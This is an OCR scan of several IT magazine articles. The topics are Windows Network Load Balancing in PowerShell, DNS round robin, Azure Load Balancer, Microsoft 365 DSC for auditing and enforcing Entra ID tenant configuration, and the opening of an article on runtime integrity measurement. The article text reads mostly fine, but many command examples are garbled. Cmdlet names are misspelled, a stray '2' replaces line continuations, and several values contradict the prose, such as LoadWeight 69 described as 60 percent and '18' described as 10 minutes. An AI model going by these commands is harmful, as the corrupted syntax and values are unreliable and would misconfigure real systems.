
Optimizing NLB in PowerShell

The -Affinity parameter controls
the client-server relationship. Single
keeps a client-server relationship,
whereas Network means all cluster
nodes can open a connection to the
client, and None drops the relation-
ship. Check the settings and discover

the best option for your requirements.

Port rules also determine which ports
are open for the cluster and which
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traffic rules apply. You can optimize
these on the basis of your specific re-
quirements. The following command
can be used to create a port rule that
forwards TCP traffic on port 80 to all
nodes in the cluster:

Add-N1bClusterPortRule -Protocol Tcp 2
-Mode Multiple -StartPort 80 2
-EndPort 808 -Affinity None

Suppose an application is using UDP
port 5000 and you want this traffic to
be routed to a specific node; in this
case, you can create a port rule like:

Add-N1bClusterPortRule -Protocol Udp 2
-Mode Single -StartPort 5000 2
-EndPort 5080 -Affinity Single

Note that the -Affinity parameter
is set to Single in this case, which
means that all connections from a
particular client are routed to the
same server. If needed, you can use
the -LoadWeight parameter to define
the weight of each node in distrib-
uting the load-balancing setup and
adapt it to your specific require-
ments. Assume you have three serv-
ers in the cluster and the third server
is more powerful than the other
two. You could allocate more traffic
to it by increasing its LoadWeight as
follows:

Set-N1bClusterNode 2
-HostName Server3 2
-LoadWeight 69

In this example, Server3 receives 60
percent of the total network traffic,
and the other two servers share the
rest. The total of all weights should
add up to 100. In this example, you
could assign Serverl and Server2 a
load weight of 20 each, to end up
with a total weight value of 100.

NLB Cluster Customization
with PowerShell

Besides the parameters for optimiz-
ing a cluster, you can use other set-
tings with Set-NIbClusterNode. By
way of an example, you can use the
command

Set-N1bClusterNode -HostName Serverl 2
-Priority 1

if you want a primary node with the
highest priority and therefore the low-
est number to answer all the incom-
ing requests by default.

To change a node’s status, you can
set a node to Suspend and temporarily
exclude it from load balancing with-
out disrupting network traffic:

Set-N1bClusterNode 2
-HostName Serverl 2
-NodeState Suspend

When you have completed your
admin tasks on the server, simply
set the node back to an operational
state with the -NodeState Started
argument. While suspended, the
server still remains a member of the
cluster, although it no longer accepts
requests.

You can also set a node’s mode to
Dedicated, which means it only pro-
cesses NLB traffic,

Set-N1bClusterNode -HostName Serverl 2
-OperationMode Dedicated

or NonDedicated, which means it pro-
cesses both NLB traffic and the usual
network traffic.

Managing the Cluster

After creating and configuring the
NLB cluster, you can manage it with
various PowerShell commands, re-
trieve data, and edit the configuration
(e.g., with Get-NIbCluster). At the
same time, various cmdlets are avail-
able to help you control the cluster
directly:
W Stop-N1bCluster stops the cluster.
B Start-N1bCluster starts the cluster.
B Remove-N1bClusterNode removes a
node from the cluster.
The command

Get-Command 2
-Module NetworkLoadBalancingClusters

tells PowerShell to display all the
cmdlets used to manage an NLB clus-
ter (Figure 2).
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Of course, you do
not necessarily
have to use Pow-
erShell; you can
also manage an
NLB cluster with
the Network Load
Balancing Man-
ager. The first item
when right-clicking
Network Load Bal-
ancing Clusters is
New Cluster. Con-
nect the first node
with Connect and
proceed to add fur-
ther nodes in the
same way. After
successfully con-
necting to the first
node, the cluster is
configured. Next,
you specify the IP
address and cluster
name and define
whether to use
Unicast, Multicast,
or IGMP multicast
operating mode (Figure 3).

The next step is to define rules for
client access. I already discussed the
rules in the context of creating a clus-
ter in PowerShell. Once the settings
are complete, additional hosts can be
added to the server by running Add
Host to Cluster. In this way, you can
add or remove nodes from the NLB
cluster at any time.

DNS Round Robin vs. NLB
Clusters

In parallel to an NLB cluster, DNS
Round Robin can support load bal-
ancing in the network. Rather than
the use of a cluster, all servers are
given a shared DNS entry with the
same name and their own IP ad-
dresses obtained by cycling through
a list. If clients ask a DNS server for
the IP address of the name, the server
always responds with the next IP ad-
dress on the list. However, this does
not take the host utilization level
into account; instead, clients gradu-
ally connect to other hosts, because
the DNS servers change the host IP
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address whenever they respond to cli-
ent queries.

As a simple example, imagine that
some clients ask for the network’s IP
address for an entry named Nib. joos.
int. In response, the client receives a
list of all IP addresses with the entry,
but in a different order in each case,
so that the clients connect to a differ-
ent host each time. DNS takes care to
use the same subnets for forwarding
so that the client ideally communi-
cates with a host that is located on
the same subnet or a nearby subnet.
In this approach, each host still has its
own Host A entry. At the same time,

as with NLB, you create an additional
entry for each host with the same name
but with its own IP address. After com-
pleting the configuration, you will have
an entry in DNS for each server with its
own IP address and a parallel entry that
is identical in terms of the name for all
hosts but uses the host’s IP address.
For a DNS server to support round
robin, you need to set the Enable
round robin option in the Properties |
Advanced selection in the DNS Man-
agement tool. If you want to disable

Figure 2: Various cmdlets are available for managing NLB clusters in PowerShell.

the function for certain types, you
can do so in the registry by creating a
REG_SZ value named DoNotRound-Rob-
inTypes in HKEY_LOCAL_MACHINE/SYSTEM/
CurrentControlSet/Services/DNS/
Parameters and entering the record
types that should not be used.

NLB with Azure Load
Balancer

For hybrid networks on which
Azure services are used in parallel,

Mew Cluster: Cluster Parameters *

Cluster 1P configuration

1P address: 192,168 17.153
Subnet mask

Full Intemet name

MNetwork addess:

Custer operation mode
® Unicast
) Multicast

) IGMP multicast

cBock |[ Meds | | Canesl Help

Figure 3: NLB clusters can also be created
in the GUI.
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the Azure Load Balancer is an im-
portant tool that distributes the
load when clients contact the cloud
services. The Azure Load Balancer
runs on Layer 4 and acts as an
entry point for the clients of the
connected applications. Implement-
ing both internal or private load
balancing and public load balancing
is possible, depending on whether
traffic from the Internet or inter-
nal traffic within a virtual network
needs to be balanced. You will find
this setup in Azure Load Balancer
components.

Microsoft also provides the Azure
Application Gateway for Layer 7,

as well as regional load balancing
functions. Azure Front Door offers
global load balancing and the Traffic
Manager can handle DNS-based load
balancing. When searching for “load
balancing,” a selection aid appears in
the Azure portal to help you config-
ure the right load balancer to achieve
local or global load balancing for the
respective services (Figure 4).
Classic load balancing can be set

up in a wizard by first defining the

. FEATURE Win Server Load Balancing

billing model, the load balancing
rules, then your front-end IP configu-
rations when you set up an Azure
Load Balancer (i.e., the IP addresses
that clients access). You can define
both public and private IP addresses
for different usage scenarios.

You then define your back-end pools,
which are the IP addresses of the vir-
tual machines or other resources that
process the incoming traffic, by as-
signing an IP address to each of your
virtual machines and adding them

to the back-end pool. Inbound rules
determine how the load balancer
distributes the traffic. Each rule de-
fines which front-end IP address and
which port the load balancer uses for
incoming traffic and how this traffic
is distributed to the back-end pools.
When you configure the rules, you
need to specify the protocol type
(TCP or UDP), the front-end port, the
back-end port, and the load distribu-
tion algorithm.

The outbound rules manage how
Azure Load Balancer handles out-
bound traffic from the back-end
pool. Outbound rules are of interest

for standard public load balanc-
ers and define how responses to
requests are routed during load
balancing.

Conclusions

Network load balancing plays an
important role in local environ-
ments and can be useful for cloud
resources in Azure. Setting up NLB
is straightforward with Windows
Server; load balancing services can
also be set up quickly and easily in
Azure. The connected servers can
then process incoming data traffic
in a far more effective way and sup-
port the workloads that run on the
network more reliably, more stably,
and more efficiently. |
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Thomas Joos is a freelance IT consultant and
has been working in IT for more than 20 years.
In addition, he writes hands-on books and
papers on Windows and other Microsoft topics.
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Figure 4: Two load balancing variants are supported in Azure.
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Entra ID and Microsoft 365 DSC

Configuration and security of authorization assignment and access control by Entra ID, formerly Azure Active
Directory, requires careful consideration. We reveal how configuration as code works with PowerShell and

Microsoft 365 DSC for tenant config

If you follow the rules and keep the
configurations of multiple tenants,
testing, integration, and production in
harmony or regularly have to check
and document the most important se-
curity settings in the Microsoft cloud,
you will certainly already have de-
vised ways and scripts to make your
work easier. One of the most interest-
ing tools in this field, and one that is
increasingly finding its way into the
corporate landscape, is Microsoft 365
Desired State Configuration.

The idea behind the project is to equip
the PowerShell DSC framework for the
Microsoft Cloud and provide features
such as documentation, change detec-
tion, change rollback, and configuration
clones. Anyone already familiar with
PowerShell DSC for Windows Server,
for example, will quickly be able to find
their way around Microsoft 365 DSC.
The project includes many Microsoft
365 products. In this article, I look at
examples from Entra ID.

Initial Configuration

For testing purposes and to create
some initial configuration prototypes,
you can install the Microsoft365DSC
PowerShell module on a test computer
or your own machine with access to a
test tenant:

Install-Module -Name Microsoft365DSC

The installation usually ends after a
few minutes without a word. It does
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not hurt to update the dependencies
after installation:

Update-M365DSCDependencies

Once the setup is complete, proceed
to load the module by typing

Import-Module Microsoft365DSC

If you have not yet allowed any exter-
nal scripts on the system, PowerShell
outputs an error message telling you
first to change the execution policy
with

Set-ExecutionPolicy

before starting your first experiment
and inspecting the configuration of
TenantDetails:

Export-M365DSCConfiguration 2
-Components @('AADTenantDetails') 2
-Path C:\temp\DSCExport\ 2
-ConfigurationName "TenantDetails" 2
-FileName TenantDetails.PS1

The system then prompts you for the
login credentials. The command is
structured such that it retrieves certain
configurations - in this example, Ten-
antDetails, ARDGroup, or ARDCondition-
alAccessPolicy (i.e., the configuration
and content of the tenant) - and saves
them locally (Figure 1). The cmdlet
contacts the named tenant and stores
the data in the C:\temp\DSCExport
folder, which you can select freely.

The configuration name and file
name can be freely defined, as well.
The settings are saved in PowerShell
DSC format; unfortunately, this for-
mat is difficult to browse, especially
in complex environments. A second
command converts the raw data into
a readable HTML report:

New-M365DSCReportFromConfiguration 2
-Type HTHL 2
-ConfigurationPath C:\temp\DSCExport\2
TenantDetails.PS1 2
-OutputPath C:\temp\DSCExport\2
TenantDetails.HTML

As an alternative to -Type HTML, you
can use -Type Excel; the cmdlet then
stores the information in as a table
in Excel format with an XLSX suffix.
The available components currently
supported by Microsoft365DSC
(M365DSC) are listed online [1].
The export website not only pro-
vides an overview of all Microsoft
365 (M365) products and details
that you can manage with configu-
ration as code, but also a generator
that can export the configuration
directly.

Desired State Configuration

As the name suggests, the Micro-
soft365DSC module is part of the
desired state configuration framework
for PowerShell. The framework has
been known for years as a description
language for system configurations

Photo by Tom Hermans on Unsplash
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Figure 1: On request, Microsoft 365 DSC creates appropriate HTML reports from the

configuration of the tenant.

embedded in PowerShell. The DSC
configuration contains a desired state,
which is then checked on a target
system. This check then produces a
result or, if necessary, a correction

of the target system to bring about
the desired state, which allows both
existing and new systems, virtual
machines (VMs), server roles, Active
Directory (AD) objects, or - as in this
article - set up or initial configuration
of Microsoft 365 tenants.

The configuration description can

be started manually, managed, and
maintained nightly by script or even
integrated with Azure DevOps. How-
ever, you need to get used to one
point: PowerShell can only check and
change the desired configuration if it
has the correct authorizations on the
target system. For servers in your own
data center or VMs in Azure, you will
typically want to use Windows AD
accounts. For M365 tenants, you need
to choose between manual execu-
tion with a user account or a service
principal (SP). Logins of service prin-
cipals can be protected either with
app secrets (i.e., long, complex pass-
words) or by certificate login.

Creating a Service Principal

For regular operation without a user
context, I recommend creating a service
principal that has the rights required to
collect and correct the configurations

[WWW.ADMIN-MAGAZINE.COM

with the Microsoft Graph API. The con-
figuration takes place in Entra ID and
is divided into three parts: (1) create a
key pair for the service principal, (2)
create the service principal itself with
its configuration, and (3) grant consent
for the Graph authorizations.

The example creates a service prin-
cipal with certificate login because

it is the best compromise between
convenience and secure login. A man-
aged identity (MI) that then retrieves
the certificate from a key vault would
be even more secure; however, MIs
are not yet supported with all M365
functions and M365DSC. For the cert
credential, you can use your in-house
public key infrastructure (PKI), which
can then provide private and public
keys with certificates for the service
principal. For test purposes, the small
PowerShell script in Listing 1, which
creates a cert credential valid for six
months and stores it in the certificate
store and in C:\tenmp, is a workable
choice. You first need to create a CER

file with a public key from the PFX
file with the private key, which you
upload to Azure.

Working in Entra ID, create a new
application in the Applications | App
registrations section. The + New reg-
istration choice means you initially
only need to enter a unique name.
Once the application has been cre-
ated, upload the public key certificate
to the Certificates & secrets tab. The
application ID is on the Overview tab,
which you will want to copy to the
clipboard immediately. In the API
permissions tab, configure the autho-
rizations the service principal will use
to retrieve the data (Figure 2). For an
initial test with the command

Export-M365DSCConfiguration 2
-Components @('AADTenantDetails') 2
-ApplicationId <AppID> 2
-TenantId |contoso.onmicrosoft.com| 2
-Path C:\temp\DSCExport\ 2
-ConfigurationName "TenantDetails" 2
-FileName TenantDetails.PS1

the Organization.Read.All authoriza-
tion for Microsoft Graph in the appli-
cation context is fine.

The Correct Authorizations

Anyone who has already worked
with Microsoft Graph will be familiar
with the highs and lows of assigning
authorizations: Even with wide-rang-
ing administrative authorizations,
you still might not be able to retrieve
critical data with an arbitrary appli-
cation. For example, if you use Graph
Explorer [2] to try out and focus
your graph queries in the browser,
you can act as a global admin, but
you need to allow both Graph Ex-
plorer for the tenant with consent

Listing 1: Create Cert Credential

$today = Get-Date

$endDate = $today.AddMonths(6)
$notAfter = $today.AddMonths(é)
$pass = "Pa$$ToProt3ctThePFX!"

$thumbprint = (New-SelfSignedCertificate -CertStoreLocation cert:\Currentuser\My -DnsName[pouershell]
-KeyExportPolicy Exportable -Provider "MicrosoftEnhancedRSA and RAES
Cryptographic Provider" -NotAfter $notAfter).Thumbprint

$pud = ConvertTo-SecureString -String $pass -Force -AsPlainText

Export-PfxCertificate -cert "cert:\currentuser\my\$thumbprint" -FilePath c:\temp\SPCert.pfx -Password $pud
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- M365DSC | APl permissions

Support + Troubleshooting

A 1o blechooting

APl / Permissions name

Request APl permissions

Application permisssons

Organization (2

imin consent required

Figure 2: You must grant the service account for M365DSC the correct permissions to read and write with Microsoft Graph.

and the detailed authorizations that
you currently require - relative to the
desired graph query.

You also need to configure the correct
authorizations for M365DSC so that
individual queries or an automated
script can retrieve the appropriate
data from Graph; then, you can as-
sign the authorizations (e.g., Policy.
Read.All) for conditional access to
your newly created service principal.
M365DSC will tell you which authori-
zations are required when you specify
the desired component (Listing 2).
To begin, download the authoriza-
tion definition for the configuration
for AAD group reports and save it in
permissions. The information is stored

Listing 2: Authorizations by Component
permissions = Get-M365DSCCompiledPermissionList
-ResourceNameList @('AADGroup")
permissions["Read"] | % {$_["Permission"]}

in four hash tables: RequiredRoles,
Read, RequiredRoleGroups, and Update.
Depending on which authorizations
(read or write) you want to configure,
you will need to break down the hash
table, which is what the second per-
missions command in the example for
Read access does. The authorization
type shows you how to configure En-
tra ID and the consent.

If you use M365DSC without an
admin user, but as a service princi-
pal with certificate login, you can
release all authorizations as applica-
tion permissions. Some configura-
tions (e.g., conditional access) also
benefit from the Group.Read.All and
User.Read.Al11 authorizations; they
might not be explicitly required for
reading the certificate authority
(CA) configuration, but if you use
Include and Exclude in the CA policy
at user or group level, M365DSC

retrieve and document the entire con-
figuration of the M365 cloud, assum-
ing that the authorizations allow this.
However, if you are not interested

in all cloud products and instead
only want to document individual
tools, you can give the cmdlet a help-
ing hand by defining the Workloads
parameter:

Export-M365D0SCConfiguration 2
-ApplicationId <AppID> 2
-TenantId contoso.onmicrosoft.com 2
-Path C:\temp\DSCExport\ 2
-ConfigurationName "Al1Settings" 2
-FileName Al1Settings.PS1 2
-Workloads @('RAD")

If you also want to include Exchange
and Intune in the report, you need to
add the abbreviations to the array in
Workloads:

Name can also resolve these. PowerShell -Workloads @('ARD', 'EX0', 'INTUNE')

T DSC requires additional role as-

Name ~ Organization.Read.ATl signments, which the project team This option means that all compo-
Type  Application describes online [3] for some M365  nents of which M365DSC is aware
Name  Group.Read.All products (e.g., OneDrive or the Se- and can support for these workloads
Type Delegated

curity and Compliance Center).

are queried and documented.

Name  ReportSettings.Read.fll
Type Delegated

Name  Group.Read.All

Type Application

Name  ReportSettings.Read.All
Type Application

Exporting the Entra ID configuration
takes a while, especially if the tenant
is large; because it also includes all
groups, users, and CA rules, the wait
is proportional to the number of objects
in the tenant.

Checking the Complete
Configuration

If you start the cmdlet without
specifying Components, it attempts to
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Comparing the Configurations

If you want to take regular snapshots
of the tenant configuration, you can
store different versions of the export
and name the resulting PS1 files with
a date reference to make it easier to
compare two configurations from dif-
ferent times.

For comparison, create a delta report
by comparing the two configurations
and generating HTML output:

New-M365DSCDeltaReport 2
-Source C:\temp\DSCExport\2
CA-Policy-81-NOV-2623.PS1 2
-Destination C:\temp\DSCExport\2
CA-Policy-81-DEC-2623.PS1 2
-OutputPath C:\temp\DSCExport\2
CA-Policy-DeltaReport.HTHL

The report is generated offline, so it
does not require any authorizations
or online access to Microsoft. The
HTML overview (Figure 3) indicates
both missing and new resources, such
as CA policies, as well as changed
configurations such as scope or multi-
factor authentication (MFA) settings.

Detecting Deviations

The DSC framework uses the same
approach for on-premises components
and for the cloud: The definition

Entra ID and Microsoft 365 DSC TOOLS .

of settings to be checked and cor-
rected is stored in a PS1 definition
file, which is converted into managed
object format (MOF) before starting.
The framework then regularly uses
this file to check whether the configu-
ration has changed and needs to be
updated.

For M365DSC, you can either cre-
ate your own configuration files

in PS1 format or adapt an existing
one. A good template can be one of
the configurations you have previ-
ously exported (e.g., in the example,
TenantDetails.PS1). The file was
created in such a way that it is rec-
ognized by the DSC system when
executed with PowerShell and trans-
ferred to MOF. Next, tell PowerShell
to start the DSC check, specifying
the folder in which the created MOF
file is located:

Start-DscConfiguration 2
-Path C:\temp\DSCExport\2
Conditionalfccess 2
-Hait 2
-Verbose

The -Hait and -Verbose options are
only of interest for the first few at-
tempts so that you can track what
the system is doing. Later, you can
leave the options out and DSC will
do its work in the background. Once

Delta Report

Comparmp C srmmp IS0 spoet UA, Fodc -Septrraber F3 | b O trm D S apee LA - Pl -Octoibes P51

S Microsoft365DSC

>

Table of Contents

Resources that are Missing in the Destination

@ Azure Active
Directory

AADCandtional AecessFolicy - Iisplay Name = Kaizals Fro

@ Arure Active
Directory

AADCenditionalAccenPolicy - Display Name - Theresa-Block Seclnfo

Resources that are Configured Differenthy

Azure Active

Directory

A AT andition ¥ - AADC "alicy -Fimance Webv2 |
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e
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@ Azure Active
Directory Prpey

Exchodeb wemal FenantiMembentipbied | [an

Figure 3: If you reqularly export the same configuration, you can ask M365DSC to create a

change report.
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the process has been started, DSC
automatically checks the configura-
tion every 15 minutes by default. If
you are only interested in one run,
you need to inform DSC and stop
the next runs:

Stop-DSCConfiguration -Force
Remove-DSCConfigurationDocument 2
-Stage Current

Depending on the computer con-
figuration, Start-DscConfiguration
might initially result in an error
message. If PowerShell DSC has not
been used before, you might need
to finalize the Windows remote
management (WinRM) tool con-
figuration and grant the appropriate
firewall clearance.

You will also want to ensure that the
user account or service principal has
write permissions for the appropriate
components in addition to read per-
missions in Microsoft Graph, which
typically means selecting the *Read. *
representation for the *ReadWrite. *
permissions — or you can query
Get-M365DSCCompiledPermissionList
and view the Update permissions for
the desired component.

If you check the local DSC settings
for the computer running DSC with
Get-DscLocalConfigurationManager,
you will see the 15-minute interval in
the ConfigurationModeFrequencyMins
attribute and ConfigurationMode preset
to ApplyAndMonitor on an untouched
DSC system. The ApplyAndMonitor tells
PowerShell to check the configuration
but not to correct any deviations. If
autocorrection is desired, you need
to set ApplyAndAutoCorrect as the con-
figuration mode.

Event log entries are also written for
better traceability. In the Windows
Event Viewer, you will then find
Warning entries that signal a drift un-
der Applications and Services Logs |
M365DSC. The M365DSC component
used as the template for the check,

MSFT_AADConditionalAccessPolicy
is recorded as the source of the event,

which means you can efficiently filter
for drift and correction events.
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Figure 4: One computer is responsible for constantly checking the configuration - when and
how often is determined by the DSC configuration.

Customizing the DSC
Settings

The DSC check of the Entra ID tenant
is launched on a server that runs DSC
and has the required configuration
definitions. You can also configure
more granular settings for the lo-

cal DSC system with - you guessed

it - DSC. To do this, create your own
PowerShell configuration file that
configures your choice of settings,
generate a MOF file from it, then
upload it to the DSC system for local
execution (Figure 4).

Listing 3 shows a PS1 definition file
that reduces the interval from 15 to 10
minutes and also tells DSC to correct
modified configurations immediately
and automatically. If you save the
code as a PS1 script and execute it,
PowerShell creates the corresponding

Listing 3: Customizing DSC Configuration

[DSCLocalConfigurationManager()]
configuration LCMConfig

{
Node localhost
{
Settings
{
ConfigurationMode = 'ApplyAndAutoCorrect’
ConfigurationModeFrequencyMins = '18'
3
3
3

LCMConfig -OutputPath C:\temp\DSCLocalConfig -Verbose

24 ADMIN 81

MOF file, which you can then transfer
with PowerShell:

Set-DscLocalConfigurationManager 2
-Path C:\temp\DSCLocalConfig\

Further detailed configurations for
the DSC system, which you can carry
out in a similar way, are described in
more detail online [4].

Protecting the
Configurations

Configuration as code makes infra-
structure, software, and software-as-
a-service projects easier to manage.
Especially if you use individual com-
ponents across several stages (e.g.,
development, testing, integration, and
production), an automated process for
deploying the configuration reduces
manual errors. However, don’t forget
that configuration as code needs far-
reaching authorizations on the target
systems if you want to not only detect
deviations, but also correct them.

The write authorizations need to be
assigned in a granular way and pro-
tected for each use case. Whoever
controls the configuration-as-code
component - in this case the server
with PowerShell DSC or the configu-
ration files in the form of the PS1

or MOF file - is given far-reaching
power over the Microsoft cloud.
Separating the various components,

at least for write access, into differ-
ent service principals with different
credentials is worth considerating

to avoid a single omnipotent SP for
the entire cloud and to keep the
documentation for the entire cloud
separate from individual, correcting
service principals.

For the configuration files in PS1 and
MOF format, you will want to enable
secure processes and create methods
and robust storage, especially for the
production environment. One pos-
sible approach would be DevOps,
which would mean changes being
verified in a test environment, au-
tomatically recorded, checked, and
transferred to the target configuration
for production - preferably without
human interaction.

Conclusions

The Microsoft 365 DSC project simpli-
fies many steps of the tenant configu-
ration that admins would have to per-
form themselves in laborious, manual
work or with the use of creative
scripts. Just a few steps are needed to
set up the PowerShell commands for
use and deliver great results not only
for change tracking and documenta-
tion, but also for heavyweight tasks
such as configuration management
and enforcement and cloning settings
between test, integration, and produc-
tion environments. Just make sure you
familiarize yourself with the required
authorizations in Entra ID, Exchange,
and others before you start. |

Info

[11 Microsoft365DSC:
[https://export.microsoft365dsc.com]

[2] Graph Explorer:
[https://developer.microsoft.com/en-us/
faraph/graph-exploret]

[31 Microsoft 365 DSC authentication:
[https://microsoft365dsc.com/user-quide/]
get-started/authentication-and{
permissions/]

[4] Set-DSCLocalConfigurationManager:
[https://learn.microsoft.com/|
En-us/powershell/module/
psdesiredstateconfiguration/set]
dsclocalconfigurationmanager?view=dsc-1.]
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Runtime Integrity

_ — ‘\r, =
Detecting system compromfs'é’/

Foundationd Security;

Runtime Integrity services provide assurance that a system is uncorrupted,
offering increased confidence in core security services and the potential
for enhanced security decisions across many use cases through the
incorporation of integrity information in their inputs. sy peter Loscocco

The cybersecurity landscape is
large and constantly evolving. Sys-
tem providers incorporate a variety
of security mechanisms into their
systems, and many more security
mechanisms and services targeting
home or enterprise are available for
purchase. The services share the com-
mon goal of preventing or detecting
system attacks, or both. A newcomer
has emerged in the commercial cyber-
security space called runtime integrity
that promises not only the ability to
detect when a system is attacked, but
also to provide strong evidence that
systems — even vulnerable systems in
the face of dreaded zero-day attacks -
have not been compromised.

False Sense of Security

Every day people access their vari-
ous computing devices for a mul-
titude of reasons, some critically
important to their work or personal
lives. So pervasive are these devices
that virtually no aspect of life is
independent of them. The devices
themselves depend on the vast In-
ternet for access to the computing

ADMIN 81

resources and services needed to
perform their functions.
Despite a huge reliance on comput-
ers, you seldom stop to consider
whether they are up to the task.
You implicitly rely on the idea that
device manufacturers have incorpo-
rated appropriate protection mecha-
nisms to make them trustworthy.
Similarly, you assume installed
application software is safe to use,
correctly performing its desired
functions and only those functions.
Your decisions as to which systems
and software to deploy become
implicit statements that you suf-
ficiently trust them to do the job
throughout the life of the system.
When you do acknowledge the reality
of exploitable system vulnerabilities,
previously known or yet to be discov-
ered, you seek solace in the idea that
current cybersecurity practices can
somehow protect systems - or at least
limit damage - by:
B applying the latest software secu-
rity patches,
B restricting system access with the
latest access control and authenti-
cation mechanisms,

B implementing encryption to ensure
data is protected while in transit
and when stored,

B employing monitoring to warn
whether anything out of the ordi-
nary is occurring, and

B relying on training to prepare sys-
tem users not to engage in unsafe
practices that might compromise
system security.

However, are current cybersecurity

best practices enough?

In short, the answer is “no.” His-

tory teaches that exploitable vulner-

abilities always surface, and even the
most careful users can sometimes

be tricked into actions that allow at-

tackers access. System attacks can

have potentially great consequences,
including data loss or exposure, lost
productivity, interruption of service,
and all the associated monetary costs
for recovery. Additionally, system at-
tacks damage confidence that systems
are suitable for their intended tasks.
The result of successful attacks are
sometimes immediately obvious, but
more insidiously, the effect can persist
long after the initial exploit, leaving no
visible trace that the system is not as
it was before and is unsafe to use. Run-
time integrity, a more effective integrity
system capable of detecting attacks on

a running system and identifying system

modifications, can be an important tool

to maintain confidence in your systems.
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Integrity Systems

To understand runtime integrity, it is
instructive to delve into the general
idea of system integrity, an idea that
has been around for many years.
Simply put, system integrity is an
idea that the system is exactly as it

is expected to be and that it has not
been modified in any unauthorized
manner. It follows that if the system
has not been modified, it will function
just as it initially did.

Integrity systems are the mechanisms
that generate, and subsequently
evaluate, evidence that can be used to
substantiate assertions that a system’s
integrity is intact. Integrity systems
become useful when validated integ-
rity assertions can be presented for
use in security decisions that could be
negatively affected when the system
has been modified from its expected
state. They certainly can be valuable
when used for local decisions about
a system but become much more
powerful as a means of projecting
trust across a network when integrity
evidence can reliably be presented as
input to remote security decisions.

At a high level, integrity evidence
should be considered a characteriza-
tion of a system’s health. Integrity sys-
tems examine a target system, record-
ing observations and presenting them
as statements of system health that
can be evaluated, with results reliably
being presented as inputs to security
decisions. As is the case in medical
health, what constitutes “healthy
enough” is subject to the context in
which the question is asked. Healthy
enough to attend school is an alto-
gether different question from healthy
enough for space travel.

So too with system integrity. System
health depends on specific use cases,
and effective integrity systems must
be capable of producing character-
izations with sufficient information
for situational assessment. Failure
to include all relevant information
will likely result in erroneous secu-
rity decisions. Runtime integrity is
an advancement over prior integ-
rity systems in that it yields much
better system characterizations
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customizable for a broad range of
integrity use cases.

Integrity systems produce system
characterizations as integrity evi-
dence, called measurements, through
a process called integrity measure-
ment, which is a privileged function
that must have a suitable vantage
point to measure the target (Figure 1).
Measurements must be produced in

a reliable way and protected from
unauthorized modification. Integrity
systems assess measurements through
a process called appraisal, presented
through a process called attestation.
Like measurement processes, appraisal
processes must consider all relevant
portions of the measurement report re-
quired to support intended use cases,
and attestation processes must be pro-
tected to ensure measurement reports
are reliably delivered for appraisal
unmolested. Failure in any of the three
components would compromise any
subsequent security decisions.

It’s possible to combine the parts

of an integrity measurement system

- measurement, attestation, and ap-
praisal - in a variety of ways, result-
ing in different kinds of systems with
varying amounts of effectiveness. For
example, they could all be co-located
with the target system, with the sys-
tem itself used for the needed access
and resources. Alternatively, they
might be located near the target sys-
tem in a connected device or isolated
in a virtual environment for protec-
tion from system attack. Distributing
different measurement processes
across different components of a more
complex system even becomes pos-
sible for an eventual joint appraisal.
Appraisal might be physically sepa-
rated from measurement, placing it
where remote security decisions are

being made. Appraisal might also be
off-loaded to third-party appraisal
systems specializing in integrity de-
cisions that can either be forwarded
directly as inputs to security decisions
or incorporated into some sort of in-
tegrity token returned to the attesting
system to be presented when needed.
Security mileage can vary a lot de-
pending on how the combinations are
made and protected.

The Value of Integrity

Integrity measurement and appraisal
done properly can be an indispens-
able tool to maintain confidence in

a system’s health, but it also is an
excellent means to improve the qual-
ity of security decisions. Confidence
in security decisions rests heavily in
confidence of the inputs to them and
is certainly bolstered by increased
confidence that the system respon-
sible for providing those inputs has
not been corrupted.

Many possible security decisions
would benefit if augmented with in-
tegrity input. Any access control or
authentication decision can be made
more robust if, in addition to the tradi-
tional inputs to the decision, a reliable
statement that the systems involved

in presenting credential information
or executing cryptographic protocols
were not compromised. This applies
to any decision involving the access of
resources - a request for services, the
release of protected information, or
the release of workload data into cloud
execution environments and would
improve so many online activities

that need to be secure, including such
things as joining a network, online ser-
vices like banking and shopping, digi-
tal payment technologies, blockchain

Security Decision

4) Appraisal Result

Appraiser

-

1) Request Measurement

3) Attestation

Attester

112) Get Measurement

Measurer

Figure 1: Example integrity system.
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applications, and remote computing
environments, just to name a few (see
Figure 2 for an example).

Integrity measurement is crucial to
system integrity. When inadequately
done, integrity evidence will be sus-
pect. However, if done properly it
leads to results that not only indicate
when a system is compromised but
can also tell what was corrupted.

It won’t necessarily tell how it was
compromised, but that isn’t as im-
portant as the fact that a compromise
has or, just as important, has not
occurred.

Good Integrity Is Runtime
Integrity

What then constitutes an adequate
measurement? One way to address
that question is to ask which parts of
the system need measurements: the
operating system, the system software
that lives outside of the operating
system, the wide array of applica-
tions and supporting software (e.g.,
databases and configurations)? You
might need to consider including any
number of supporting systems with
their own software in some integrity
reports. The details of what, how, and
from where measurements are taken
is a complex subject. The answer
ultimately depends on the use case
and potential consequences of com-
promise. In any event, how attackers
compromise system integrity must
inform the decision.

Another way to address the ques-
tion is to consider what should be

. TOOLS Runtime Integrity

included in a measurement of any
component that is determined to need
measurement. In this one area a run-
time integrity measurement can dras-
tically improve measurements. Tradi-
tionally, integrity measurement has
been done by measuring the image of
the software resident on a disk before
it is run or the executable portion

of the in-memory image of the soft-
ware just before it runs. This static
measurement uses a mathematical
function called a hash that produces a
unique number that can be used like
a fingerprint in an attestation. If the
hash matches the expected value, the
software is OK.

This method of measurement is core
to secure boot technologies. Although
secure boot can be an important tech-
nology to support system integrity
when used to establish the security
of an initial software environment, it
generally is inadequate for true sys-
tem integrity. These static load-time
measurement techniques fall short in
two important ways.

The first way is that the image used
in the measurement does not repre-
sent the entire image that can affect
system security. Once software begins
execution, a tremendous amount of
relevant integrity information is found
in the dynamic state of the running
software, including the processor
state that indicates from which por-
tion of memory the processor is actu-
ally executing, as well as all of the
data structures used during software
execution. In the case of the operat-
ing system, this dynamic state affects

every aspect of a system’s manage-
ment of resources.

Many well-known examples of system
compromises have resulted from gain-
ing privileged execution and then cor-
rupting system state. Static load-time
measurements can never incorporate
this information because it doesn’t
yet exist when measurement is done.
Runtime integrity can produce supe-
rior results by extending the notion
of system integrity measurement to
include all dynamic states.
Measurement is performed when the
system is fully running, freeing it to
inspect every corner of the execution
environment for possible corruption.
Additionally, most modern systems
employ some sort of dynamic code
rewriting as the software begins
execution, leaving static hashing
techniques no longer able to generate
predictable hash values over the soft-
ware once running. Runtime integrity
mechanisms can be instrumented to
deal with this complication.

The second way static measure-

ment techniques fall short is that the
instant the measurement result is
produced, it begins to be stale. Any
inference about system integrity is
confined to conclusions based on
information collected when the soft-
ware began execution. Any changes
in system state since, including mali-
cious changes resulting from attack,
will not be reflected. Runtime integ-
rity improves on the situation because
